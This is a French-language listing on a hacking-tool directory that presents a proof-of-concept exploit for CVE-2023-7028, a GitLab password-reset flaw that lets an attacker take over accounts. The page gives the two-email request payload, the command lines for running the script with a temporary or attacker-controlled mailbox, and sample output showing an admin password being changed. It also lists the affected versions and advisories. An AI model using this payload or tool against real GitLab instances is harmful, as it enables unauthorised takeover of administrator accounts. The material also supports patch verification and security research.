Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-7028 — CVE-2023-7028 POC && Exploit | Kitploit
Outils/GitHubGitHub/gh-ost00/cve-2023-7028
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubgh-ost00/cve-2023-7028

CVE-2023-7028

CVE-2023-7028 POC && Exploit

Voir le dépôt
19il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-7028 | Prise de contrôle de compte Gitlab

Avertissement

Ce code est une preuve de concept de la vulnérabilité, je n'encourage personne à l'utiliser sur des instances gitlab qu'ils ne possèdent pas.
Cet outil a été développé uniquement à des fins de recherche et d'éducation et je ne saurais être tenu responsable de tout usage que vous pourriez en faire.

Description :

CVE-2023-7028 fait référence à une vulnérabilité de prise de contrôle de compte qui permet aux utilisateurs de prendre le contrôle du compte administrateur gitlab sans interaction de l'utilisateur.

La vulnérabilité réside dans la gestion des e-mails lors de la réinitialisation des mots de passe. Un attaquant peut fournir 2 e-mails et le code de réinitialisation sera envoyé aux deux.
Il est donc possible de fournir l'adresse e-mail du compte cible ainsi que celle de l'attaquant, et de réinitialiser le mot de passe administrateur.
(Gitlab précise que l'authentification à deux facteurs empêche l'exploitation de cette vulnérabilité, car un attaquant, même après avoir réinitialisé le mot de passe, ne pourra pas se connecter.)

Payload :

Voici un exemple de payload

user[email][][email protected]&user[email][][email protected]

POC :

Méthode 1 : Utilisation d'un e-mail temporaire
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
Méthode 2 : Utilisation d'un e-mail malveillant
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Aide

$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

Note :

Sans l'option --evil, qui spécifie l'adresse e-mail de l'attaquant, le script utilise un e-mail temporaire public pour trouver le lien de réinitialisation du mot de passe.
=> Soyez prudent si ce poc est utilisé lors d'un pentest.

Versions concernées

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

Références :

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
  • https://hackerone.com/asterion04
Télécharger l’outil